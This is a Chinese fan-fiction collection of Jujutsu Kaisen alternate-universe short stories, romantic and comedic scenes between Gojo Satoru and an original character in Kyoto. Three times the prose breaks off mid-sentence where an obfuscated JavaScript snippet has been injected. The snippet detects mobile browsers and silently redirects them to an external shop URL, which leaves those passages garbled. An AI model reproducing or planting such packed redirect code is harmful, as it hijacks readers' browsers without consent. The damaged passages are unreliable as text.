《【咒回】各种短篇if》 1. 悟线(一) 非本世界,是平行世界! 非本世界,是平行世界! 非本世界,是平行世界! 默认双方已成年! 默认双方已成年! 默认双方已成年! 如果没有问题就继续往下吧~ PS:开篇时间点为三年级前的春天。 …… 海月遥看不惯五条悟。 这无关于他那恶劣的性格……好吧,还是有部分关系,但主要原因还是这个人的出现,分走了她幼驯染的部分注意。 最让她难以接受的是,夏油杰竟然选择了五条悟而非她作为挚友! 为什么?她哪里比不过五条悟吗? 还是说……青梅竹马永远不敌天降? 海月遥感觉自己就像是小说漫画中那些败犬青梅,眼睁睁看着自己竹马的注意被另一个人夺去。 但作为一个成熟的人,她不会迁怒。 身为苦主,她咽下所有酸楚,努力和这个ntr她的白毛和谐共处。 …… “悟,带我去五条家的藏书阁,真的没问题吗?”海月遥快步紧跟在五条悟身后。 五条悟根本不管海月遥能否跟上,他长腿一迈,双手随意地插在兜里,毫无顾忌地走在前面。吊儿郎当的态度与古朴庄重的五条家形成了鲜明对比。 “那些老头老太太哪里能管得了我——”五条悟的声音拉长,尾音带着些许散漫。 他依旧对之前海月遥用尖锥指向他眼睛的事情耿耿于怀。 “六眼,我收下了。” 那句话深深印在他的脑海里,挥之不去。 这些日子,她清冽的嗓音,如同点点玉珠落入梦中,或是夜的浸染,总比现实中多了几分漫不经心的调笑。梦中身影朦胧,唯有那双与他相似却又截然不同的蓝瞳清亮如初。 别误会,身为健全的dk,他并没有做不健全的梦。 在梦中,海月遥总是静静地端坐在梦境的一隅。她双手交叠,偶尔将侧发轻挽耳后,露出细密发云下白玉般的耳轮。 若自己注视她过久,她会缓缓转过头来,展现出一个与她那纤薄身姿极不相称的、极具侵略性的微笑。 “——你在看我。” 那位海月遥的语气总是如此肯定而鲜活,笑容中闪烁着如月般的光晕。 不爽。 谁会在意一个小鬼?五条悟的脚步不由自主地又加快了。 尽管海月遥现在正不断长高,也已超过日本女生的平均线,身材窈窕,发育速度堪称暴力。对于不熟悉她的人来说,她给人的第一印象可能是冷艳的高岭之花。 当然熟悉她本性的人只会回一句:呵。 不会被她外表欺骗的五条悟,现在偶尔也会喊她“小鬼”。 比如说现在。 “小鬼你干嘛?”五条悟皱着眉停下脚步,看向正扯着他衣角的海月遥。 她还是那副无波无澜的寡淡表情:“我没有在走廊跑步的乐趣。” 五条悟嗤笑:“你腿太短了。” “你再说下去,就要比你命长了。” 她不轻不重地威胁,一边和五条悟并肩而行——虽然嘴上不饶人,但五条悟这次还是放慢了速度。 …… 进入藏书阁的海月遥仿佛回到了她的快乐老家,她如同仓鼠护食般,轻盈而欢快地抱起几本书,不拘小节地坐在地板上,全神贯注地翻阅起来。 “你不打算直接拿回去看吗?”五条悟也盘腿坐下,两人相对而坐,置身于书架间。 “这里有很多古籍,不少可能是孤本。”海月遥解释,“弄丢了会给悟带来麻烦。” “无所谓。” “是吗?”海月遥没有在意他的回答,继续沉浸在她的书海中。 一时也没有人说话。 良久,她的声音再次响起,打破沉寂。 “你在看我。” 和梦中相同的话让五条悟下意识一激灵,他才回过神,惊觉自己刚刚已经默不作声盯着海月遥一段时间了。 但与梦境不同的是,现实中的海月遥甚至没有抬头,声音冷漠,仿佛对他多一分热情都是奢侈。 不爽。 “谁在看你?”梦里未能说出的反驳脱口而出,五条悟并没有转移视线,支着下巴:“我只是防止你弄坏书,不然我可得被那些老家伙烦死。” 海月遥抬眼瞥了他一眼。不透光的墨镜遮挡住了那双璀璨的苍天之瞳,判断不出五条悟的视线落点。 碍事的墨镜。海月遥盯了他几秒,又无所谓地低下头。 不过,先前他还允许她带书回去,现在却担忧她损坏藏书阁的书籍。海月遥惊讶于自己在五条悟心中的信誉竟断崖式下降。 她平静地回应:“我不会的,请放心。” “嘁。”五条悟留下这句话,便站起身离开了。 看来自己还是有一定信誉的。海月遥也没问他去哪儿,继续看着书。 “……我自己来。”过了一会儿,五条悟的声音在门外响起。 随着障子门被推开,发出“哗啦”的声响,他再次走了进来。手里端着一个木质托盘,他径直朝海月遥走去,嘴里不客气地说道:“头都要埋进书里去了。” “喏。”他将托盘放在海月遥旁边,嘀咕着,“那些家伙非要我带。” 谁能命令你? 海月遥瞥了一眼托盘上的点心——那是关西流行的道明寺樱饼。 小巧精致的樱饼呈扁圆形,包裹在盐渍樱叶中,呈现出诱人的粉红色。 海月遥的脑海中浮现出无用的知识:京都著名的关西樱饼是由道明寺粉制成的。据传,平安时代的菅原道真的叔母在道明寺修行,法号觉寿尼。为了保佑道真安康,觉寿尼将糯米蒸熟、风干后磨碎成米粉供奉于神前。这种米粉后来便被称为道明寺粉。 “悟,我记得五条的先祖是菅原道真吧?”海月遥望着樱饼,若有所思地问道。 “是这样,怎么了?” “没什么……我们出去吃吧。” 这算不算是五条家的特产?海月遥在心底开了个玩笑,拿起托盘,站直身。 “麻烦——”五条悟双手背在后颈,抱怨着,但身体却诚实地跟在她身后。 “如果糯米粉沾到书上,那会更麻烦。” 两人坐在缘侧,点心摆放在中间,正好面对着一棵巨大的樱树。 (注:缘侧——日式传统房屋向庭院延伸的,有屋顶的走廊。) 三月的京都,正值樱花季。浅粉色的樱花如雪般密稠地缀在枝头,清风拂过,花瓣便簇簇飘落,香气淡雅而不显媚俗,让人沉醉在春天的芳华中。 到了四月,这些樱花将会盛开得更加绚烂,那时又将是另一番胜景。 “悟喜欢樱花吗?” 海月遥转过头看向坐在她身侧的五条悟。从侧面倒是能隐约窥见墨镜后的那双蓝瞳。半遮半掩下,更衬得那抹亮色动人。 和自己的不同,那双眼睛就像是珍贵的帕拉伊巴碧玺,总是让海月遥产生想要收藏的冲动。 “一般吧。”五条悟用【苍】吸来几瓣樱花,随意捻在指尖。 那为什么你家招待客人还是用樱茶?海月遥茫然地捧着茶杯——刚刚有人见他俩坐在这儿,便殷勤地沏了茶。 这不是传统婚俗或者其他喜庆场合常有的仪式饮品吗?还是说,这是京都习俗? 她面无表情地盯着淡粉色茶水中的八重樱,浅啜一口。 嗯,完全没味道。 想喝橘子汽水。 五条悟看着她微微抿起的唇线,升起坏心思,用着术式朝海月遥洒去几簇樱花花瓣。 见只是花瓣,她也没躲,只是闭上眼,任由樱花落了满身。 三月,春天也因樱花多了一抹娇俏,粉白色的花瓣柔软了春风,最终轻轻落在唇畔,便也染上几分殊色。 少女的睫羽微颤,待清风拂过,才慢慢睁开眼,薄蓝色的眼瞳闪着细碎的光,却只是平静地看向身侧人。 五条悟感觉心脏漏了一拍,下一秒却被海月遥抓住破绽,往唇缝间塞了樱花。 “哈。”她倒是得意,顺道还解释,“没关系,你家的樱花是八重樱,可食用。” 五条悟下意识抿了一口:樱花的香气清淡近乎于无,溢出的汁液也只是微涩的苦味,和他往日爱吃的甜品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581138|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相去甚远。 但他呆滞在原地,没有第一时间将花瓣吐出。 ——因为某人直接拿自己嘴边的花瓣塞进去了。 间、间接接吻……! 五条悟的脸倒是快比樱花红了。 …… 五条本家位于京都,乘坐新干线前往需两个多小时。尽管五条悟具备瞬移能力,但仅限于直线移动,且被他夹在腋下多次瞬移的体验并不愉快。 所以海月遥决定休息日的时候才来京都,日程也被看书排满。 然而,她原本期待的一段清闲时光,却因五条悟而变得异常闹腾。 …… “……悟,你有什么话要说?”海月遥实在是没忍住开口问道。 今天她坐在这里看书的时候,五条悟就一直呆在她旁边。他时而无聊地翻阅书籍,时而把书当眼罩小憩。最终,无事可做时,他便托着下巴,静静地坐在她对面,目光紧锁着她。 某只白毛嗷嗷叫:“好无聊~” “无聊的话你就去干自己的事。” “不行。” “我不会弄坏书的。” “我知道。” “所以你可以去干自己的事。” “不要。” “……” “好无聊~” 没完没了了。海月遥被烦得受不了:“你拿棋盘过来,我们下围棋。” 他终于从懒散的状态中振作起来,不一会儿,就带着一盘围棋走了过来。 五条悟显然对下棋颇有心得,他让道:“你先下吧。” “谢谢。”海月遥没有推辞,她从书上抬起头,捻起一枚黑棋,随意地放在棋盘中心。然后,她又重新看向手中的书。 看着她这幅游刃有余的样子,五条悟强调:“我下棋很强的。” “嗯,知道了。”回答极其敷衍。 …… 赢了。 赢得异常轻松。 五条悟难以置信地抬头看向海月遥:某人明明下得一塌糊涂,却还装出一副高手的样子。难怪她都不抬头,就这水平,乱下也比她认真下好。 “你不会下棋?”他问道。 “基础规则是知道的。”海月遥谨慎地回答。 言下之意,她也只知道这些规则了? “那你为什么要跟我下棋?” “因为你无聊。”乱下棋比较不费神,方便她安心看书。 “这样跟你下棋也很无聊啊!” “行吧……下次不会让你无聊。” …… 下一次,五条悟收到了一堆奇奇怪怪的物品。 “这是什么?”他手里握着一个骷髅头样式的软体玩具,手下用力,便有被深红色液泡包裹住的假眼球爆出。一放松,又缩回眼眶。 “怎么样?很有趣吧?” “好恶心。” “没品的东西。” 虽然做出这样辛辣的评价,但五条悟还是从这堆奇奇怪怪的藏品里找到了不少有趣的东西。 下下次,她带来了机械精灵球,里面有各式各样的宝O梦。 下下下次…… …… 每天她都会带来不同的惊喜。 这个家伙……不会喜欢我吧?不然为什么要这样费心费力讨他开心? 五条悟面色凝重,心中愈发觉得这种可能性存在:在同期中,她唯独对他的态度显得异常,时常与他嬉戏打闹,甚至在不经意间,她还会偷偷投来注视的目光。 如果海月遥知道他的想法,会给出以下回答:某个鸡掰猫这么贩剑,夏油杰竟然不选她。嫉妒使她面目全非。 有时候海月遥甚至在想怎样套五条悟麻袋比较好。 明明两人之间的距离不足一米,心的距离却可绕地球两圈。 仔细一看,她今天也打扮得相当可爱:奶白色无袖荷叶边衬衣,搭浅蓝喇叭裤,外套了件宽松的纯色针织衫,松松垮垮搭在身上,露出半边肩膀。长发也未扎起,披散下来。 她每次来京都都会搭配着不同的衣服。要知道,在高专的时候,这家伙出门玩大部分都会穿校服。 五条悟:她一定是喜欢我。 2. 悟线(二) “今天就玩抽鬼牌吧。” 海月遥倒不是黔驴技穷了,但她实在懒得想天天怎么糊弄五条悟。 不过看到五条悟不同的反应其实也挺有趣的,不然她也不会想这些惊喜。 ——毕竟不管他无聊与否,最终都得履行让她自由在藏书阁看书的约定。 “有什么惩罚吗?”五条悟向来看热闹不嫌事大。 海月遥不咸不淡地回答道:“输的人答应赢的人一个要求吧。” 为了防止某人能从她的镜片反光瞥到答案,她摘下眼镜放在一旁。 是的,她很认真地想要得到胜利。 抽鬼牌可不是简单地靠运气,这是战略、博弈和头脑的较量。通过玩家的交流和暗示,从而影响对方的选择。那些动漫里,总会有人因为沉不住气,在脸上露馅。 但她不会。海月遥敛下眼睑。 他们两个面对面坐在两排书架间的地板上。 海月遥面无表情,五条悟则挂着笑。 来吧,决一胜负! …… 输了,怎么会输…… 海月遥不可置信地拿着那张万恶的joker牌,上面的小丑和自己面面相觑。 哥谭市里她最狂,马戏团里她最忙,她是扑克牌里大小王。 感觉鼻子红红的,是要进化成小丑王了吗? 海月遥抬眼看向五条悟,那片薄薄的墨镜挡住了他那双眼睛,但也从他嘴角的弧度瞥见他现在相当得意。 “三局两胜,你得意太早了。”她摩挲着手里的牌,沉声道。 “我可是最强,不会输的。” “等下局结束后,你再说这话吧。” …… 海月遥决定改变策略,看来纯靠扑克脸是不行的,最终只会变成扑克牌的大小王。 在自己手上只剩两张牌时,海月遥嘴角漾起一点弧度。 “——你在看我。” 她记得之前说出这句话时,五条悟的反应很大,这也是可利用的一点。 反正她也没说谎。虽然他的墨镜丝毫不透光,看不出他视线的落点,但抽鬼牌观察对面人的表情不是常识吗? 五条悟眼看着面前人的表情与梦中逐渐重合,那副寡淡的表情逐渐被若有若无的狡黠笑容替代,明亮的眼里满是势在必得。 他愣住了。 有效! 海月遥不经意地晃晃拿着牌的手,让鬼牌停留在距离五条悟最近的地方。 “到你抽牌了。” 她看着五条悟愣愣地“嗯”了一声,就那样抽走了鬼牌,之后他甚至忘了背着她换牌。 秉持着公平竞争的原则,海月遥还是提醒他一句:“悟。” 对面没什么反应。 仁至义尽。 海月遥按捺不住嘴角的笑意,抽走另一张牌,手里的两张刚好变成一对A。 是伟大的海月大人的胜利! 败者吃土! “……你是故意的!”五条悟回过神,难以置信地控诉。 “一切都是为了光荣的胜利。”海月遥撑着下巴,故作深沉。 其实这一招最好放在最后用。但是海月遥第一局已经输过一次了,她不能再承受第二次的失败。 一次博弈选择背叛,是利益最大化的选择。 她这一步没有走错。 而且,经过两局比赛,她已经整理好五条悟的表情库了。是的,尽管她无法从表情中判断情绪。但她能把自己拿到鬼牌和普通牌时,五条悟不同的表情分门别类。在第三局比赛中,只用往里套用就行了。 胜利,她拿下了! …… 输了。 海月遥面无表情地将鬼牌抛入牌堆。 她的策略堪称完美,问题必然出在五条悟身上。 她打量着五条悟,他正得意洋洋,笑声嚣张,那副盲人艺术家的墨镜更添几分挑衅,更让她火大。 这碍眼的墨镜! 没有它的话,她的表情库绝对更加完备。 海月遥锁定了罪魁祸首。 “怎么?输了不甘心?”五条悟摆出一副迎战的姿态,不过仅限于上半身,下半身仍稳稳地坐在地上,毫无惧色。 原本盘腿而坐的她,突然跪直身体,一膝前移,逼近五条悟。 “等……”敏锐的六眼察觉到她的接近,声音不自觉地放低。 当海月遥整个人半跪在他双腿之间,抬头仰望他时,五条悟只剩下喉咙中微弱的气声。 她为什么突然靠这么近? 她要干什么? 我该怎么办? 一连串疑问在他脑海中闪过又消散。 他的目光自她那双清澈如琉璃的蓝眸滑落,最终定格在她紧抿的薄唇上。 只见她突然伸出手,这微小动作如同寂静中突响的惊雷,让他不由自主地猛然后仰,背部重重撞在身后的书架上。 他们本就身处藏书阁的最深处,书架与墙壁间仅余几寸狭窄空间,这一撞之下,书架竟向墙壁倾斜,其上排列的书籍顿时失去了平衡。 “哗啦啦——” 书页纷飞,书脊碰撞的沉闷声响交织在一起,宛如一场突如其来的雪崩。 “……” 阳光透过门板上的障子纸,斑驳光影洒满室内,每一粒细小的尘埃都在光雾中轻盈起舞,犹如点点晶莹的星光,恰似岁月静好。 另一侧却是截然不同的景象:书籍如同泛滥的洪水,几乎要将两人完全吞噬。 知识就是力量,特别是砸人的时候。 五条悟的墨镜早就滑落下来,他却无暇顾及。此刻他的全部注意力都集中在怀中的海月遥身上。他一手稳稳地环抱着她的腰,一手则护在她头顶。 少年的气息弥漫在她的四周,沉稳而有力的心跳似乎就在耳畔回响,隐隐约约间,鼻翼还能捕捉到一丝甜香。 他刚刚是不是背着她偷吃点心了?抹茶?还是巧克力?似乎两者都有。 可恶,她好歹也是个客人,吃甜点竟然不叫她,这个仇她记下了。下次出任务,不给他带特产了! 海月遥一时出神,胡思乱想着。但她并未挣扎,只是懒散地靠在他的怀中。 她实在不明白这人到底什么毛病,以前咒灵的拳头要砸到脸上时,他都能毫不在意地挑衅,现在她不过摘个墨镜,就反应大成这样。 事发仓促,她只来得及护住自己的头,后颈传来阵阵隐痛,所幸身体其余部分还好——随后反应过来的五条悟直接把她搂入怀中,无下限术式挡住了飞落的书籍。 但海月遥不会感激他,因为这一切的源头正是他。 “悟……”她咬牙切齿地喊着他的名字,“你这是做什么?” 她可不想一直保持着现在这个姿势,刚想挺身坐起,却被他紧锁在腰间的手按住。海月遥微抬眼帘,只见他目不转睛地凝视着自己,那双没有墨镜遮挡的苍蓝色眼眸,如同洗尽铅华的钻石,展现出璀璨的底色。 怎么没反应? 她伸出手,在他眼前挥了挥,企图拉回他的思绪。她自然有力气挣脱开,可她不想再为现在这副倒塌的书山增加更多负担了。 这家伙还是没反应,只是定定地看着她。 海月遥的耐心终于耗尽,双手轻拍在他的脸颊两侧,力度适中,足以让他从恍惚中回过神来。 “回——神——” 这一举动似乎触动了某根敏感的神经,五条悟猛地推开了她,口中嚷道:“你做什么!”同时身体不由自主地往后退去。 海月遥眼疾手快,迅速抓住书架边缘,稳住摇摇欲坠的书堆。 五条悟的视线在自己怀中的少女和她撑在自己头侧的手之间徘徊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581139|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人的心跳加速了。 当海月遥茫然地指出这一点时,五条悟推开她的肩膀,急忙站起来。 等二人距离拉开,他便弄清楚了现在的状况,并对上她谴责的眼神。 他心虚地捡起墨镜戴上,大声说道:“快收拾啦!” 海月遥比他更心疼这些古籍,她蹲下身,开始一本一本地整理书籍。 幸运的是,书并未受到太大损伤,她松了一口气。 就在这时,后颈突然被轻轻一戳,她转头一看,只见五条悟蹲在她身后,眉头紧锁,指着她脖颈上的显眼红痕:“你这里受伤了。” “我去给你拿药。”话音未落,他匆匆离去。 海月遥:? 她自己会治疗啊?而且,这点伤根本没必要上药。 现在拦住这个白毛还来得及,她刚伸出手,“悟”这个名字还没喊完,灵光乍现。 等一下处理伤后,她是不是可以嘲笑这个笨蛋白毛? 这么想着,她又咽下了阻止的话,开始默默整理书籍起来。 等他回来,海月遥淡淡地扫了眼他手上的医药箱,也没说什么,便转身拨开颈后的发丝,等待他上药。 “我来?”他的声音中带着一丝意外。 她自己来的话怎么嘲笑他。海月遥轻轻“嗯”了一声。 他又抿着唇不说话。 和她平常记忆里咋咋呼呼的样子不同,他上药时的动作十分轻柔。仔细想想,他只是一片好心,没有必要报复他。 海月遥决定原谅刚刚的被砸之仇。 “没想到悟会干这种事。” “……嗯?”他似乎有些心不在焉。 “帮人上药。” “那还不是因为你……”他停顿了一下,然后故作不满地说,“对,就是因为你太弱了。” 想干掉他的念头愈发强烈。 扣1原谅他。 海月遥:0。 待他上好药,她即刻转头看着他。 “悟。”她嘴角勾起恶魔笑容,“我会治疗。” 不出所料,他的表情几经变化,最终连耳尖都染上了绯红。 “你是故意的……?” 海月遥毫不犹豫:“嗯。” 她看见他的脸更红了。 真是可怜,被气成这样。 她表面维持着风平浪静,内心的Q版海月却已开始肆无忌惮地嘲笑起Q版五条来。 …… 她不会真的喜欢我吧?五条悟越来越觉得这种可能性不小。 少女背对着他,微微侧头,眼眸含笑,坦然承认自己故意让他帮忙上药。在柔和的阳光下,那双蓝色的猫眼闪烁着狡黠的光芒,宛如浅海中的波光。 “……刚刚我赢了,你是不是得答应我一个要求?”五条悟决定跳过之前的小插曲。 “1。” “明天我们出去逛逛吧。”他避开她直视的目光,解释道,“因为后天要回高专了,一直闷在这里看书也挺无聊的。” “就我们两个人?”海月遥反问道。 “啊,对!就我们两个,有什么问题吗?”五条悟起初有些莫名的心虚,但随即变得理直气壮起来。 “我们在哪里集合,约会的时间是什么时候?”她问得相当严谨。 “约会?!”他惊愕地重复道。 “有什么问题吗?”海月遥一脸困惑。 约会,指的是人们事先约定好时间和地点共同进行的活动,这是它的基本定义。虽然这个词有时也带有更特定的含义,但她相信五条悟不会朝那方面想。 “没问题……” 看,他并没有往那方面想。 “那具体的时间和地点是……” 五条悟随口应着,心中却冒出一个念头: ——完了,她一定喜欢我! 3. 悟线(三) 面对挚友喜欢的人喜欢自己的情况,应该如何应对? 这个问题在五条悟的脑海中仅一闪而过,便迅速消失。 说到底,感情哪有什么先来后到。 夏油杰和她认识这么多年,暗恋她那么多年,还没有在一起,这不就说明问题了吗? 再者,他相貌出众,实力也是最强,性格更是完美。她喜欢自己,实属情理之中。 因此,当五条悟晚上再次做那个奇怪的梦时,他对梦中的海月遥报以了一个充满侵略性的微笑。 “对,我在看你。”他如是说。 …… 在日本文化中,提前5到10分钟到达约定地点被视为一种社交礼仪。然而,海月遥显然对此并不太在意,当她悠然自得地踩点到达时,只见五条悟已经独自站在那里。 一米九的个子让他有如东京天空树般引人注目,加之他那副“天上天下,唯我独尊”的混蛋样,更是让人无法忽视。 海月遥注意到周围不少人都偷偷向他投去目光。这种嚣张的样子,果然让人想揍他吧?她正以己度人。 不过,此刻的他似乎沉浸在自己的世界里,心不在焉。 “你在看什么?” 海月遥走近他时,随口问道。 “你。”他几乎是第一时间回答,脸上也没有什么表情,只是转头看向她。 ——大概吧,毕竟他戴着那副不透光的墨镜,找不到他视线的落点。 “我没有迟到。” “……我的意思是你怎么来得这么迟。” 两人的话几乎同时出口。 五条悟因刚才的愣神而脱口而出,连忙找补,却没料到她同时回应。 海月遥未察觉他的心思,但她不接受空口无凭地污蔑。她亮出手机,屏幕显示着十点整,正是约定的时间。 “我没有迟到。”她一字一句,再次强调。 “没迟到就没迟到。”他低声嘀咕,随即不满地问,“你怎么穿着高专的制服?” “校服有什么问题吗?”海月遥反而对五条悟没有穿制服感到奇怪,毕竟他们几个出去玩的时候,很多时候都是直接穿的高专制服。 她上下打量了五条悟一番,只见他身着长袖白T,外搭连帽撞色系外套,下身是蓝色长裤,清爽的少年气息扑面而来,唯独那副圆框墨镜略显突兀。 “你不是说约会吗?”他下意识地反问,随即不耐烦地将额发捋到脑后,“算了,没什么。” 约会的话,需要打扮吗?海月遥茫然地想。他们以前可从不在意这些。 不,仔细一想,悟虽看似不拘小节,但作为御三家出身的大少爷,他理应接受过良好的礼仪教育。就像刚才,按礼节她应提前到达,所以他才会提及迟到之事。同理,现在她穿高专制服赴约,确实不够得体…… 海月遥恍然大悟。 “你现在急着去吗?”她问道。 “没有。” “那跟我来。”她直接拉着五条悟的手腕,步入旁边的一家女装店。 “你要干嘛?” 他不习惯这样的接触,但出于某种原因,没有挣脱。进店后,她即刻松开手,没有半分留恋,这又让他不满起来。 海月遥未抬头,随手抽一条纯白连衣裙与蓝色开衫,进入试衣间换上,挽了个丸子头,随后自然地站在五条悟面前。 她张开双臂,在他面前转一圈,确保自己的打扮得到充分展示。 “这样可以吗?”她认真地询问。 五条悟一愣:“哈?” 只到他肩膀处的少女神情淡然,漫不经心地将侧发轻挽至耳后,露出白玉般的耳轮。这时,五条悟才留意到她脖颈上点缀着一粒黑痣,犹如雪地中绽放的黑玫瑰。 见他没有迟迟回应,她原本游移不定的目光终于聚焦在他脸上,仿佛透过那薄薄的镜片与他进行了一场无声的对视。 琉璃蓝的眼眸中,他的身影清晰可见。 “悟?”她轻声唤道。 “……还行吧,勉强过得去。”他故意装出一副不感兴趣的模样,移开视线。 海月遥点了点头,正欲结账,却被他再次叫住。 她用眼神传达着不解。 “别弄丸子头了。”他直接动手,拆散她刚随意扎起的发型,转而为她扎了个高马尾。 难道,在大家族的约会中,连发型也有特定的要求吗? 海月遥困惑。 …… 从两人见面到她换好衣服并买单,整个过程仅仅耗费了十分钟。 然而—— “悟,为什么要来游乐园?” 他们刚刚从过山车上下来,海月遥全程面无表情,不停地用手压着被风吹起的裙子。 她没有感受到丝毫刺激。若真要论刺激,那次送天内理子出国时,被这个白毛混蛋突然拉着从飞机上跳下,那才是真正的惊心动魄。 万米高空,毫无防护措施,有胆你就来。 “约会不都是去游乐园、水族馆之类的地方吗?”五条悟支着下巴,神情凝重。 这是他在游戏里看见的。 渐渐地,海月遥的脸色也变得严肃起来,她将这一观点纳入她的“常识(待确认)”合集。 “我记下了。” 一个敢说,一个敢信。 “那我们接下来要去鬼屋吗?”她手持游乐园地图,其上鬼屋图标旁赫然标注着大大的“推荐”二字。 “平时见到的咒灵还不够多吗?”他俯身凑过去看,吐槽道,“我们两个又不会怕。” “……抱歉。”海月遥欲言又止,最终还是开口说道,“其实我是想吓唬工作人员。” 恶魔,这个人是恶魔。 “你这家伙,真的很恶趣味啊……”五条悟用一种难以言喻的眼神扫了一眼这个恶魔人间体,然后一手按在她的脑袋,胡乱揉了揉。 “我们去别处逛吧。”他灵活地避开海月遥的一记肘击,笑道,“听说京都商业街最近有个甜品集章活动。” “不是说好在游乐园约会吗?” “那你现在开心吗?” “……” 两人对视一眼。 “甜品万岁!” 他们欢快地击掌。 …… “嘶……好辣!” 刚到盖章活动的第二站,五条悟就率先败下阵来。 “为什么甜品也会做成这么辣的……”他边吸着凉气边嘟囔,不满地伸出舌头,标志性的刺猬白发似乎也失去了活力,无力地垂在额前。 像落水的炸毛猫……勉勉强强算得上可爱。海月遥评价道。但这不妨碍她取笑他。 “还自称最强呢,这点辣都受不了。”她慢条斯理地品尝着自己的甜品,突如其来地发着善心,“要是实在受不了,就给我吧。” 正大口喝着苏打水解辣的五条悟差点被呛到,他惊讶地抬起头,提醒道:“……我吃过。” “哦。”海月遥露出恍然大悟的表情,“你有幽门螺旋杆菌!” 五条悟:…… 正常人应该这么思考吗? 天大的污蔑扣在他头顶。五条悟臭着脸反驳道:“没有,但是这份我吃过。” “这样啊。”海月遥含着叉子,若有所思,“抱歉,因为杰以前总会帮我解决剩下的……确实,不是所有人都接受这样……” 她的话音未落,五条悟已将盘子推到了她面前。 “我改变主意了。”他咬牙切齿地宣布。 海月遥诧异地看了他一眼,也没有多说,默默解决这份覆盆子胡椒蛋糕。 她向来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581140|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不怎么挑食的,况且这份也不算是难吃,只是味道有几分奇妙罢了。 浆果的甜香与微妙的辣味交织在一起。 有趣。 甜点和悟都是。 …… 下一站的盖章甜品显得正常许多,是普普通通却美味可口的提拉米苏。 然而…… 这家店竟然推出了限量情侣套餐! 海月遥感到这一幕异常熟悉,似乎与五条悟以前也遭遇过类似的情形。 回忆起那时,她的选择是…… “请问,这个套餐可以单独点餐吗?”她谨慎地询问。 “当然可以,客人。不过,我们需要一张情侣合照贴在店内的展示墙上。”店员耐心地解释道,“如果您和您的男朋友不介意的话,可以在点餐后进行合照。” 但问题在于,他不是自己的男朋友。海月遥平静地转头看向身旁的五条悟。 与上次不同,这次他没有摆出夸张的耍帅姿态,而是略显不自在,紧紧抿唇,避开她的目光,一手闲不下来,将额发往后捋,低声嘟囔:“如果你非得需要我的话,也不是不能……” 在如雪般洁白的发丝映衬下,耳尖上那抹淡淡的红晕愈发显得鲜明夺目。 也没有到必须求他的地步。 海月遥忽略他这句话,又决定使用游戏作弊码——钱! “不好意思,请问能请你们的店长过来一下吗?”她提出请求。 …… 没有同意。 为什么? 现实不应该是一场垃圾游戏吗? 还是说,京都人相比东京人更为传统保守?否则,为什么她上次能成功,这次却遭到了坚决的拒绝? 海月遥在进行刻板的地域歧视。 实际上是觉得这对俊男靓女的合照摆在店里可以起到宣传作用的店长:…… 海月遥悄悄将五条悟拉到角落,补充角色设定:“我们现在是情侣。” 他没有回应这句话,视线落在两人相牵的手上。明明只是普通的交握,但那凉滑的触感却让他忍不住蜷了蜷手指。 怎么感觉悟最近经常走神?她再次轻声呼唤道,“悟?” 五条悟沉默不语,低头凝视着她。他将墨镜上推,露出那双璀璨的苍天之瞳。 他突然俯身,在她耳边低语:“既然你求我了,那我就勉为其难地答应吧。” 少年的温热气息拂过她耳畔,带来一丝微妙的酥麻感。海月遥不适地眨眨眼,却没有避开,只是微微侧首,斜睨过去。只见他嘴角勾起一抹肆意至极的笑,仿佛将整片天空的不羁都融入了他的眼底。 她心中暗自嘀咕,自己什么时候求过他?但念及“限量”这两字的诱惑,她选择保持沉默,并没有拆那自大狂的台。 “你那个眼神是怎么回事?不满吗?”五条悟反而先发难,“我好歹也是个超级大帅哥。” “没有不满。”海月遥内心反复默念“限量”二字,违心且机械地赞美道,“悟很帅气,谢谢你愿意帮我。” 让她夸自己的“情敌”,或者说是“劲敌”,比杀了她还难受。 看着他被夸后得意洋洋的样子,她愈发恨得牙痒痒。为什么杰会选择这个白毛当他的挚友?明明他们已经认识十年多了! 然而,平心而论,如果去掉夏油杰这个因素,海月遥觉得自己或许能与五条悟融洽相处。毕竟,他们的兴趣爱好颇为相似——甜食、游戏,以及恶作剧。 “你在琢磨什么呢?”五条悟毫不客气地拍了拍她的头顶,“小心长不高~” 她现在已经162.7cm了! 且每年几乎都会长10cm! 海月遥决定收回之前的那句话。 她不可能和五条悟和睦相处。 绝对不可能! 4. 悟线(四) 天公不作美。 当两人应付完合照,正准备瓜分战利品时,窗外已隐约可见细雨绵绵。 “悟,你带伞了吗?”海月遥轻瞥一眼窗外,随口问道。 “怎么可能带。”他也没背挎包,全身上下就两个口袋,“说不定等下就雨停了。” …… 并没有。 